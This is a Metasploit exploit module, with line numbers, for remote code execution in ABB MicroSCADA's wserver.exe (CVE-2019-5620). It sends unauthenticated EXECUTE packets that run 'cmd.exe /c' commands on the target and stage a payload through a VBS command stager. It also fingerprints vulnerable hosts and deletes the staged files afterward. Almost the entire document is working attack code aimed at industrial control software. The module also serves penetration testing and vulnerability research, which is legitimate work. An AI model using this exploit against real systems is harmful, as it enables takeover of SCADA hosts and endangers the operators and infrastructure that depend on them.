1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
17
        'Description' => %q{
18
          This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
19
          issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
20
          component, which allows arbitrary commands. The component is disabled by default, but
21
          required when a project uses the SCIL function WORKSTATION_CALL.
22

23
          This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on
24
          Windows XP SP3 and Windows 7 SP1.
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'Brian Gorenc', # Original discovery
29
          'juan vazquez' # Metasploit module
30
        ],
31
        'References' => [
32
          [ 'CVE', '2019-5620' ],
33
          [ 'OSVDB', '100324'],
34
          [ 'ZDI', '13-270' ],
35
          [ 'URL', 'https://library.e.abb.com/public/41ccfa8ccd0431e6c1257c1200395574/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
36
        ],
37
        'Platform' => 'win',
38
        'Arch' => ARCH_X86,
39
        'DefaultOptions' => {
40
          'WfsDelay' => 5
41
        },
42
        'Targets' => [
43
          [ 'ABB MicroSCADA Pro SYS600 9.3', {} ]
44
        ],
45
        'CmdStagerFlavor' => 'vbs',
46
        'DefaultTarget' => 0,
47
        'Privileged' => false,
48
        'DisclosureDate' => '2013-04-05',
49
        'Notes' => {
50
          'Reliability' => UNKNOWN_RELIABILITY,
51
          'Stability' => UNKNOWN_STABILITY,
52
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
        }
54
      )
55
    )
56

57
    register_options([Opt::RPORT(12221)])
58
  end
59

60
  def check
61
    # Send an EXECUTE packet without command, a valid response
62
    # should include an error code, which is good enough to
63
    # fingerprint.
64
    op = "EXECUTE\x00"
65
    pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
66
    pkt = pkt_length
67
    pkt << op
68

69
    connect
70
    sock.put(pkt)
71
    res = sock.get_once
72
    disconnect
73

74
    if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
75
      return Exploit::CheckCode::Vulnerable
76
    end
77

78
    return Exploit::CheckCode::Safe
79
  end
80

81
  def exploit
82
    # More then 750 will trigger overflow...
83
    # Cleaning is done by the exploit on execute_cmdstager_end
84
    execute_cmdstager({ :linemax => 750, :nodelete => true })
85
  end
86

87
  def execute_cmdstager_end(opts)
88
    @var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
89
    @var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
90
    @var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
91
    @var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
92
    print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
93
    execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
94
    print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
95
    execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
96
    print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
97
    execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
98
  end
99

100
  def execute_command(cmd, opts)
101
    op = "EXECUTE\x00"
102
    command = "cmd.exe /c #{cmd}"
103
    pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
104

105
    pkt = pkt_length
106
    pkt << op
107
    pkt << command
108

109
    connect
110
    sock.put(pkt)
111
    res = sock.get_once
112
    disconnect
113

114
    unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
115
      fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
116
    end
117
  end
118
end
119

120